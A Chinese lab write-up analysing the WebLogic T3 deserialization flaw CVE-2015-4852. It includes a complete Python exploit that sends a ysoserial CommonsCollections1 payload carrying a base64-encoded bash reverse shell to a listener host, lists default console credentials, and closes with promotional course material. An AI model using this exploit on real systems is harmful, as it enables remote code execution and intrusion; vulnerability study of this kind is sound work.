前言
这篇文章主要是学习Weblogic CVE漏洞中的过程中,对其中的一种利用方式T3协议反序列化漏洞进行分析。
前置
什么是T3协议?
T3协议是一种Weblogic RMI 调用时的通信协议, 对于JAVA RMI(Remote Method Invocation)
来说,基础的通信协议是JRMP,但是Weblogic中的T3协议就是一种优化方案。
T3协议的特点:
-
服务端可以持续追踪监控客户端是否存活(心跳机制),通常心跳的间隔为60秒,服务端在超过240秒未收到心跳即判定与客户端的连接丢失。
-
通过建立一次连接可以将全部数据包传输完成,优化了数据包大小和网络消耗。
环境搭建
主要是通过CVE-2015-4852
这个CVE来进行学习。
对于Weblogic的环境搭建,可以使用下面的这个项目
https://github.com/QAX-A-Team/WeblogicEnvironment
根据项目中的README
中的描述进行搭建,我这里选用的是jdk7u21
和wls10.3.6
版本。
之后需要修改一点Dockerfile中的内容,原项目中的Dockerfile有点问题。
之后就是构建镜像和运行容器
## 创建镜像
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .
## 运行容器
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21
成功运行服务
可以登录管理控制台
:7001/console/login/LoginForm.jsp
默认账号密码为weblogic / qaxateam01
正文
初尝T3协议
按照Y4tacker
师傅的描述,我们可以发送一个请求头
t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n
服务端将会返回一个weblogci的版本号
import socket
def T3Test(ip,port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
sock.sendall(handshake.encode())
while True:
data = sock.recv(1024)
print(data.decode())
if __name__ == "__main__":
ip = "ip"
port = port
T3Test(ip,port)
10.3.6
就是我们之前搭建的环境weblogic版本
接下来关注一下T3协议的格式
图片来源于修复weblogic的JAVA反序列化漏洞的多种方法
通过T3协议的结构图,我们可以发现,除了第一部分是之前发送的包头,第二到第七部分都是序列化数据,如果我们能够将我们的恶意序列化数据替换其中某一部分的数据,在传入weblogic之后,将会反序列化达到恶意目的。
在Y4tacker中提到了两种攻击方式
第一种生成方式为,将weblogic发送的JAVA序列化数据的第二到七部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。
第二种生成方式为,将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。
构造攻击
可以发送如下POC
from os import popen
import struct # 负责大小端的转换
import subprocess
from sys import stdout
import socket
import re
import binascii
def generatePayload(gadget, cmd):
YSO_PATH = "E:\\POCgithub\\Java\\tools\\ShiroExploit.V2.51\\ysoserial.jar"
popen = subprocess.Popen(['java', '-jar', YSO_PATH, gadget, cmd], stdout=subprocess.PIPE)
return popen.stdout.read()
def T3Exploit(ip, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
sock.sendall(handshake.encode())
data = sock.recv(1024)
data += sock.recv(1024)
compile = re.compile("HELO:(.*).0.false")
print(data.decode())
match = compile.findall(data.decode())
if match:
print("Weblogic: " + "".join(match))
else:
print("Not Weblogic")
return
header = binascii.a2b_hex(b"00000000")
t3header = binascii.a2b_hex(
b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
desflag = binascii.a2b_hex(b"fe010000")
payload = header + t3header + desflag + payload
payload = struct.pack(">I", len(payload)) + payload[4:]
sock.send(payload)
if __name__ == "__main__":
ip = "192.168.153.136"
port = 7001
gadget = "CommonsCollections1"
cmd = "bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4yLjE0OS84MDAwIDwmMSc=}|{base64,-d}|{bash,-i}"
payload = generatePayload(gadget, cmd)
T3Exploit(ip, port, payload)
对于这个POC,就是因为把ysoserial生成的payload变成t3协议里的数据格式。
-
数据包长度包括了自身长度和其他三部分数据包长度,所以需要先占位,计算出长度后再替换进去;
-
T3协议头是固定的,直接硬编码进去就行;
-
反序列化标志+数据=weblogic反序列化标志
fe010000
+ysoserial生成的序列化数据。
因为在Weblogic中默认存在有CC依赖,所以能够通过CC链的方式进行反序列化利用。
在运行该POC之后,能够收到shell反弹
我们抓包追踪一下TCP流
前面红色部分就是我们的请求头。
蓝色部分就是Weblogic返回的响应头,第二个红色部分前面应该是前面T3协议结构中提到了的其他数据部分吧,从图中可以看见高亮部分是ac ed
头,这是序列化数据的标志,在其之后都是序列化数据,也就是CC链的序列化数据。
因为,在POC中是直接将payload添加进入请求体。
漏洞分析
对于weblogic
来说,反序列化的点在weblogic.rjvm.InboundMsgAbbrev#readObject
方法,打下断点
贴一下这时候的调用栈。
readObject:60, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:967, SocketMuxer (weblogic.socket)
readReadySocket:899, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)
其中传入的var1
变量中就存在有我们传入的序列化数据,
调用了var1#read
方法,
在这个式子的后面部分因为this.pos() == this.curEndEnvelope
计算为false,所以将会调用父类的read方法。
直接返回。
因为var1.read()
方法中返回的结果为0,所以将会进入case 0
语句,将会调用(new InboundMsgAbbrev.ServerChannelInputStream(var1)).readObject()
语句
首先来看前面部分,
就是一个构造函数,值得注意的是,在向serverChannel
属性传入数据时候可以发现使用的协议是t3
协议进行反序列化。
之后进行后面一部分,调用了readObject
方法,
但是,ServerChannelInputStream
类没有重写readObject
方法,所以,调用的是他的父类ObjectInputStream#readObject
方法。
对于Java反序列化来说,将会在反序列化中调用resolveClass
方法读取反序列化的类名,
具体实现在ObjectInputStream#readNonProxyDesc
方法中。
调用栈
resolveClass:108, InboundMsgAbbrev$ServerChannelInputStream (weblogic.rjvm)
readNonProxyDesc:1610, ObjectInputStream (java.io)
readClassDesc:1515, ObjectInputStream (java.io)
readOrdinaryObject:1769, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
虽然ServerChannelInputStream
没有重写readObject方法,但是他重写了resolveClass
方法,跟进看看。
首先调用父类ObjectInputStream#resolveClass
方法获取对应类名。
调用getName
方法获取类名,之后通过Class.forName方法获取对应的类,因为这里的resolveClass
方法是直接使用的父类的该方法,并没有做出任何的安全过滤操作,所以能够实例化任意类。
之后就是CC1链的部分了,就不分析了。
最后
分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。
到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取
有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:
高清学习路线图或XMIND文件(点击下载原文件)
还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。
因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】